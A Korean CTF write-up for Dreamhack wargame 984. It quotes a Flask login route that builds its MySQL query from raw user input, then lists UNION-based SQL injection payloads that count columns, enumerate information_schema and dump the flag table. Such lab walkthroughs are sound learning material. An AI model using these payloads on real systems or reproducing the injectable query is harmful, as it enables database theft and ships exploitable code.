
드림핵 워게임 984번 문항 https://dreamhack.io/wargame/challenges/984
SQLi INJECTION 취약점(UNION Attack)을 통해 플래그 획득하기
문제에서 주어진 app.py를 확인 해보자.
import os
from flask import Flask, request, render_template
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'secret_db')
mysql = MySQL(app)
해당 문제는 MySQL을 사용한다는 것을 알 수 있다.
@app.route("/", methods = ["GET", "POST"])
def index():
if request.method == "POST":
uid = request.form.get('uid', '')
upw = request.form.get('upw', '')
if uid and upw:
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
data = cur.fetchall()
if data:
return render_template("user.html", data=data)
else: return render_template("index.html", data="Wrong!")
return render_template("index.html", data="Fill the input box", pre=1)
return render_template("index.html")
해당 코드는 유저에게서 uid upw를 받아 if문을 통해 uid, upw가 비었는지 검사한 후 mysql의 커서 인터페이스를 생성 후 쿼리문을 실행하고 fetchall로 행들을 모두 받아온다.
cur.execute에서 uid, upw를 유저가 입력한 값 그대로 받아오므로, sqli 취약점이 있는 것을 알 수 있다.
data의 검사 시에도 행의 개수를 검사하지 않고 오로지 데이터가 한 행이라도 있는지만 검사한다. 데이터가 존재한다면 user.html을 렌더링한다.

user.html은 다음과 같이 데이터 각 행의 0, 1, 3번째 컬럼에 대한 값을 화면에 출력하는 것을 확인할 수 있다.

먼저 코드에서 봤듯이 uid, upw는 맞든 틀리든 값이 존재해야 하므로 임의의 값은 넣어주어야 한다. 따라서 uid에 아무 값이나 넣어주고, upw에 아무 값' 로 닫은 뒤 UNION attack을 시도할 수 있다.
먼저 아래 코드의 구문에서 users라는 테이블을 유추할 수 있으므로 먼저 users 목록을 확인해보자.
cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
uid: hello
upw: asd' UNION SELECT * FROM users--
이와 같이 입력 후 제출할 경우 아래와 같은 페이지가 출력된다. 다만 여전히 flag 값이나 비밀번호 값을 얻지는 못했다.

UNION attack을 시도하기 전에 본래 users의 컬럼 수를 확인해야 한다. 따라서 다음과 같이 시도해본다.
uid: hello
upw: asd' UNION SELECT * FROM users ORDER BY 1--
uid: hello
upw: asd' UNION SELECT * FROM users ORDER BY 2--
...
그러다 ORDER BY 5--에서 오류가 나므로 컬럼 수는 4라는 것을 알 수 있다.
이제 테이블 목록을 확인 해보자. user.html에서 봤듯이 0번째(첫번째) 컬럼은 화면에 출력되므로 첫 컬럼에 table_name을 출력하도록 하며, 컬럼 수를 맞추어야 하므로 나머지 컬럼은 NULL로 채운다.
uid: hello
upw: asd' UNION SELECT table_name, NULL, NULL, NULL FROM information_schema.tables--

위와 같이 테이블의 이름들을 확인 가능하며, 마지막 행에 flag가 있는 것으로 추정되는 테이블을 발견했다.

해당 테이블에 대한 컬럼을 확인해보자.
uid: hello
upw: asd' UNION SELECT column_name, NULL, NULL, NULL FROM information_schema.columns WHERE table_name='onlyflag'--

위와 같이 onlyflag 내 table에 5개의 column이 있다. 이제 각 column을 출력해보자. 1,2,4번째 자리만 화면에 출력됨을 잊지 말자.
uid: hello
upw: asd' UNION SELECT idx, sname, NULL, svalue FROM onlyflag--

uid: hello
upw: asd' UNION SELECT svalue, sflag, NULL, sclose FROM onlyflag--

위와 같이 플래그를 확인할 수 있다.
portswigger로만 공부를 하다가 워게임을 풀어보려 하니 생각보다 막혔던 것 같다.
sql을 아직 정식으로 배우지 않아서 sqli를 공부하며 익히는 중인데, 문제를 풀면서 쿼리를 어떻게 짜야 원하는 데이터를 뽑아낼 수 있을지 감각을 익히게 된 것 같다.
중간에 풀다가 FLAG라는 column이 나와서 당황했는데 information_schema.columns 혹은 ~.tables로만 조회 시 다른 권한이 있는 데이터베이스 값까지 가져올 수 있는 것 같다. 이 경우 뒤에 WHERE table_schema=database()를 추가해주면 해당 db만 확인이 가능할 듯 하다.